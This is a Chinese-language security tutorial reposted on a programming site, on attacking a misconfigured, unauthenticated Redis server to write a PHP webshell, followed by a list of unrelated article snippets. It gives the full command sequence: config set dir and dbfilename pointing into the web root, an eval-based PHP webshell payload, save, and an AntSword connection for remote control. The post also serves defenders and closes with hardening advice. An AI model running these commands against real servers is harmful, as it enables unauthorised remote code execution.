SSRF 漏洞利用 Redis 实战全解析:原理、攻击与防范

news2025/4/24 12:35:01

目录

前言

SSRF 漏洞深度剖析

Redis:强大的内存数据库

Redis 产生漏洞的原因

SSRF 漏洞利用 Redis 实战步骤

准备环境

下载安装 Redis

配置漏洞环境

启动 Redis

攻击机远程连接 Redis

利用 Redis 写 Webshell

防范措施

前言

在网络安全领域,SSRF漏洞与Redis结合的攻击极具威胁。本文先介绍SSRF和Redis概念、Redis作用及产生漏洞原因,接着详细呈现利用SSRF漏洞操控Redis写入Webshell的实战步骤,最后给出针对性防范措施,助你提升网络安全防护能力。

SSRF 漏洞深度剖析

SSRF(Server - Side Request Forgery,服务器端请求伪造),是一种源于服务器端的安全漏洞。正常情况下,服务器端会根据用户的请求去访问其他服务器资源。但在存在 SSRF 漏洞时,攻击者可以通过精心构造恶意请求,让服务器以自身的身份去访问那些本不该访问的资源,比如内网的敏感服务、未授权的外部链接等。这就好比攻击者披上了服务器的 “外衣”,借助服务器的权限来实现自己的恶意目的,而服务器往往对这种伪装毫无察觉。

Redis:强大的内存数据库

Redis(Remote Dictionary Server)是一款基于内存的开源键值对存储数据库,以其高性能、低延迟而闻名。它支持多种数据结构,如字符串、哈希表、列表、集合等,这使得它在各种应用场景中都能大显身手。Redis 主要有以下作用:

  1. 缓存数据:在 Web 应用中,将频繁访问的数据存储在 Redis 中,大大减少数据库的负载,提高系统响应速度。例如电商网站的商品信息、用户登录状态等,都可以缓存到 Redis 中。
  2. 消息队列:利用 Redis 的列表数据结构,可以实现简单高效的消息队列。生产者将消息发送到队列中,消费者从队列中获取消息进行处理,常用于异步任务处理、日志收集等场景。
  3. 分布式锁:在分布式系统中,通过 Redis 的原子操作来实现分布式锁,确保同一时间只有一个节点能够执行特定的任务,避免数据冲突和不一致。

Redis 产生漏洞的原因

  1. 配置不当:如本文实战中,将 Redis 绑定到 0.0.0.0,这意味着 Redis 可以接受来自任何 IP 地址的连接请求。同时关闭保护模式,使得 Redis 失去了基本的安全防护,攻击者可以轻易连接到 Redis 服务。
  2. 未授权访问:如果 Redis 没有设置密码或者密码过于简单,攻击者就能够直接访问 Redis,执行各种命令,包括修改配置、写入恶意数据等。
  3. 与其他漏洞结合:当 Redis 与存在 SSRF 漏洞的服务器结合时,攻击者可以利用 SSRF 漏洞,通过服务器间接控制 Redis,绕过网络限制,实现更复杂的攻击。

SSRF 漏洞利用 Redis 实战步骤

使用命令

wget http://download.redis.io/releases/redis-6.0.16.tar.gz   #下载安装 Redis
tar xf redis-6.0.16.tar.gz          #解压下载的安装包
cd redis-6.0.16/                    #进入解压后的 Redis 目录
make && make install                #编译安装
vim redis.conf                      #编辑redis文件
./src/redis - server redis.conf &   #启动redis服务
redis - cli - h 10.0.0.107 - p 6379    #攻击机连接redis
service apache2 start               #开启apache
​​​​​​​netstat - tnulp                     #查看端口信息
config set dir /var/www/html/       #将 Redis 的持久化目录设置为 Web 服务器的根目录
config set dbfilename webshell.php  #动态修改 Redis 服务器持久化文件的文件名
set webshell "\n\n\n<?php @eval($_POST['123'])?> \n\n\n"  #向 Redis 中存储包含恶意代码的内容
save           #触发 Redis 的持久化操作

准备环境

  1. 企业系统 kali 系统 200:作为 Redis 服务的部署环境,后续将成为攻击目标。在此系统上下载安装 Redis,为漏洞利用提供基础。
  2. 攻击机  kali :用于发起攻击操作,模拟攻击者的视角,执行一系列恶意操作。

下载安装 Redis

  1. 下载 Redis - 6.0.16:使用wget命令从官方源下载安装包
  2. 解压:通过tar命令解压下载的压缩包,为后续安装做准备:
  3. 进入 Redis 目录:进入解压后的 Redis 目录,准备进行编译安装:
  4. 编译安装:执行make和make install命令,完成 Redis 的编译和安装:

配置漏洞环境

编辑 Redis 配置文件redis.conf,进行危险配置:

修改以下关键配置:

bind 0.0.0.0 #允许任意IP连接,使Redis暴露在公网风险中protected mode no #关闭保护模式,执行命令不受限制


这样的配置使得 Redis 服务处于高度危险状态,为攻击者提供了可乘之机。

启动 Redis

启动 Redis 服务,使其监听默认端口 6379​​​​​​​

攻击机远程连接 Redis

在攻击机上,使用redis - cli命令连接到目标 Redis 服务

由于之前的危险配置,攻击机无需任何验证即可成功连接到 Redis 服务,这是攻击的第一步。

利用 Redis 写 Webshell

  1. 准备被攻击环境(被攻击者 120):在被攻击机上启动 Apache 网站服务,为 Webshell 的写入提供环境

通过netstat命令检查服务启动情况,确保 Apache 和 Redis 服务正常运行

  1. 写入 Webshell:在攻击机连接的 Redis 客户端中,执行一系列命令来写入 Webshell

这些命令依次将 Redis 的持久化目录设置为 Apache 网站根目录,将持久化文件名设置为webshell.php,设置包含恶意 PHP 代码的键值对,并执行持久化操作,从而在 Apache 网站根目录下生成一个可执行任意 PHP 代码的 Webshell 文件。

  1. 查看目标代码目录:在被攻击机上查看/var/www/html/目录,确认webshell.php文件已成功生成
  2. 使用 AntSword 连接:利用 AntSword 等 Webshell 管理工具,配置连接地址为被攻击机的 IP 地址加上webshell.php路径,密码为webshell中已写入的密码,即可成功连接到目标服务器,实现对服务器的远程控制,执行系统命令、上传下载文件等操作。

防范措施

  1. 合理配置 Redis:避免将 Redis 绑定到 0.0.0.0,只绑定到内部可信的 IP 地址。启用保护模式protected mode yes,并设置高强度密码,通过requirepass配置项实现。
  2. 输入验证与过滤:对服务器端接收的所有用于发起请求的输入参数进行严格验证和过滤,确保其符合预期格式和范围,防止恶意构造。
  3. 限制请求范围:配置白名单,限制服务器只能访问特定的域名和 IP 地址,对于内部服务,如 Redis,确保只有授权服务器可以访问。
  4. 定期更新软件:保持 Redis 和服务器操作系统、相关软件的更新,及时修复已知安全漏洞。

网络安全是一场持续的战斗,了解 SSRF 漏洞利用 Redis 的攻击方式和防范措施,是保障网络安全的重要一步。希望本文能帮助读者提升安全意识,在实际应用中有效防范此类安全威胁。

​​​​​​​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2293843.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

react的antd表格自定义图标

将原版的加号换成箭头 自定义图标 安装图标包&#xff1a; npm install --save ant-design/icons 引入&#xff1a; import { RightOutlined, DownOutlined } from ant-design/icons; 参数是一个函数 <Table columns{columns} dataSource{data} indentSize{20}expandIc…

Games104——游戏引擎Gameplay玩法系统:基础AI

这里写目录标题 寻路/导航系统NavigationWalkable AreaWaypoint NetworkGridNavigation Mesh&#xff08;寻路网格&#xff09;Sparse Voxel Octree Path FindingDijkstra Algorithm迪杰斯特拉算法A Star&#xff08;A*算法&#xff09; Path Smoothing Steering系统Crowd Simu…

亚博microros小车-原生ubuntu支持系列:22 物体识别追踪

背景知识 跟上一个颜色追踪类似。也是基于opencv的&#xff0c;不过背后的算法有很多 BOOSTING&#xff1a;算法原理类似于Haar cascades (AdaBoost)&#xff0c;是一种很老的算法。这个算法速度慢并且不是很准。MIL&#xff1a;比BOOSTING准一点。KCF&#xff1a;速度比BOOST…

java进阶之并发编程一ReentrantLock的实际应用和线程中断EXAMPLE

引言:继上一篇ReentrantLock的介绍来做俩个小demo。 实现3个线程分别打印指定数字和线程死锁进行线程中断。 上一篇:<<java进阶之并发编程一ReentrantLock同步锁的学习和syncthronized的区别>> **demo1:**ReentrantLock搭配三个线程分别打印指定的数字,直接上代…

分享2款 .NET 开源且强大的翻译工具

前言 对于程序员而言永远都无法逃避和英文打交道&#xff0c;今天大姚给大家分享2款 .NET 开源、功能强大的翻译工具&#xff0c;希望可以帮助到有需要的同学。 STranslate STranslate是一款由WPF开源的、免费的&#xff08;MIT License&#xff09;、即开即用、即用即走的翻…

SpringBoot+Dubbo+zookeeper 急速入门案例

项目目录结构&#xff1a; 第一步&#xff1a;创建一个SpringBoot项目&#xff0c;这里选择Maven项目或者Spring Initializer都可以&#xff0c;这里创建了一个Maven项目&#xff08;SpringBoot-Dubbo&#xff09;&#xff0c;pom.xml文件如下&#xff1a; <?xml versio…

[LeetCode] 二叉树 I — 深度优先遍历(前中后序遍历) | 广度优先遍历(层序遍历):递归法迭代法

二叉树 基础知识深度优先遍历递归法迭代法&#xff08;栈&#xff09;144# 二叉树的前序遍历94# 二叉树的中序遍历145# 二叉树的后序遍历 广度优先遍历递归法迭代法&#xff08;队列&#xff09;102# 二叉树的层序遍历107# 二叉树的层序遍历 II199# 二叉树的右视图637# 二叉树的…

Python aiortc API

本研究的主要目的是基于Python aiortc api实现抓取本地设备&#xff08;摄像机、麦克风&#xff09;媒体流实现Web端预览。本文章仅仅描述实现思路&#xff0c;索要源码请私信我。 demo-server解耦 原始代码解析 http服务器端 import argparse import asyncio import json…

OpenCV4,快速入门,第二讲:图像色彩空间转换

文章目录 引言一、色彩空间概述1.1 RGB与HSV的区别1.2 HSV的详细含义cvtColor二、cvtColor函数详解2.1 函数原型2.2 参数说明2.3 使用示例三、imwrite函数详解3.1 函数原型3.2 参数说明3.3 使用示例四、完整示例代码五、应用场景与注意事项5.1 HSV的典型应用5.2 注意事项结语引…

86.(2)攻防世界 WEB PHP2

之前做过&#xff0c;回顾一遍&#xff0c;详解见下面这篇博客 29.攻防世界PHP2-CSDN博客 既然是代码审计题目&#xff0c;打开后又不显示代码&#xff0c;肯定在文件里 <?php // 首先检查通过 GET 请求传递的名为 "id" 的参数值是否严格等于字符串 "admi…

RK3588——解决Linux系统触摸屏坐标方向相反问题

问题描述&#xff1a;触摸正常产生中断&#xff0c;但系统上报的触摸坐标不正确&#xff0c;是反向的坐标。 解决办法通过修改设备树添加属性翻转坐标。 注&#xff1a;需确认对应的驱动是否有解析该属性的具体内容&#xff0c;否则仍然无法生效。

面对全球化的泼天流量,出海企业如何观测多地域网络质量?

作者&#xff1a;俞嵩、白玙 泼天富贵背后&#xff0c;技术挑战接踵而至 随着全球化进程&#xff0c;出海、全球化成为很多 Toc 产品的必经之路&#xff0c;保障不同地域、不同网络环境的一致的用户体验成为全球化应用的不得不面对的问题。在跨运营商、跨地域的网络环境中&am…

YOLOv11实时目标检测 | 摄像头视频图片文件检测

在上篇文章中YOLO11环境部署 || 从检测到训练https://blog.csdn.net/2301_79442295/article/details/145414103#comments_36164492&#xff0c;我们详细探讨了YOLO11的部署以及推理训练&#xff0c;但是评论区的观众老爷就说了&#xff1a;“博主博主&#xff0c;你这个只能推理…

自定义序列化数据类型

目录 1. WritableComparable1.1 Writable1.2 Comparable1.3 IntWritable 2. 自定义序列化数据类型RectangleWritable3. 矩形面积计算3.1 Map3.2 Reduce 4. 代码和结果4.1 pom.xml中依赖配置4.2 工具类util4.3 矩形面积计算4.4 结果 参考 本文引用的Apache Hadoop源代码基于Apac…

【Linux网络编程】:URL(encode),HTTP协议,telnet工具

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;Linux网络编程 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 ​ Linux网络编程笔记&#xff1a; https://mp.csdn…

C语言基础系列【3】VSCode使用

前面我们提到过VSCode有多么的好用&#xff0c;本文主要介绍如何使用VSCode编译运行C语言代码。 安装 首先去官网&#xff08;https://code.visualstudio.com/&#xff09;下载安装包&#xff0c;点击Download for Windows 获取安装包后&#xff0c;一路点击Next就可以。 配…

学前端框架之前,你需要先理解 MVC

MVC 软件架构设计模式鼎鼎大名&#xff0c;相信你已经听说过了&#xff0c;但你确定自己已经完全理解到 MVC 的精髓了吗&#xff1f; 如果你是新同学&#xff0c;没听过 MVC&#xff0c;那可以到网上搜一些文章来看看&#xff0c;不过你要有心理准备&#xff0c;那些文章大多都…

Mysql:数据库

Mysql 一、数据库概念&#xff1f;二、MySQL架构三、SQL语句分类四、数据库操作4.1 数据库创建4.2 数据库字符集和校验规则4.3 数据库修改4.4 数据库删除4.4 数据库备份和恢复其他 五、表操作5.1 创建表5.2 修改表5.3 删除表 六、表的增删改查6.1 Create(创建):数据新增1&#…

熟练掌握Http协议

目录 基本概念请求数据Get请求方式和Post请求方式 响应数据响应状态码 基本概念 Http协议全称超文本传输协议(HyperText Transfer Protocol)&#xff0c;是网络通信中应用层的协议&#xff0c;规定了浏览器和web服务器数据传输的格式和规则 Http应用层协议具有以下特点&#…

C++的 I/O 流

本文把复杂的基类和派生类的作用和关系捋出来&#xff0c;具体的接口请参考相关文档 C的 I/O 流相关的类&#xff0c;继承关系如下图所示 https://zh.cppreference.com/w/cpp/io I / O 的概念&#xff1a;内存和外设进行数据交互称为 I / O &#xff0c;例如&#xff1a;把数…